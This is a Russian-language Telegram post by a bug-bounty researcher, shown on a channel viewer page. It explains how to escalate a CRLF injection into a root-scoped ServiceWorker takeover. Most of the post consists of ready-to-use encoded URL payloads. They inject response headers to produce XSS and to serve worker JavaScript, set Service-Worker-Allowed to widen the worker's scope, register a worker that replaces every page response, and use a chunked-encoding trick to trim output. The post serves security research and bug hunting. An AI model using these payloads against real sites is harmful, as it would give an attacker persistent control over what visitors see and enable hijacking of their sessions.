TGViewer
BlackFan BlackFan @black4fan · 1.19K subscribers
Post #12 17K
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
  • 🔥 32
  • 👍 12
More from @black4fan
  1. Jul 9, 2026Записали выпуск "Начинаем в багбаунти" по теме мисконфигов при использовании S3 в веб-прил…
  2. Apr 19, 2026Финал Standoff Hacks. Шанхай 🇨🇳 GG. Доиграли до конца. Топ-3: 🥇 r0hack — MVP Standoff H…
  3. Mar 13, 2026Попался интересный вариант, когда с помощью JWT секрета, извлеченного из Java приложения,…
  4. Mar 4, 2026Раскрыл один из интересных отчетов в программе Мегамаркет, опять же связанный с некорректн…
  5. Feb 12, 2026Интересная уязвимость, связанная с кэшированием HTTP ответов из S3, может возникнуть если…
  6. Jul 16, 2025VK раскрыли пачку новых репортов, среди которых мой с XSS на ok.ru. В нем использовалась д…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →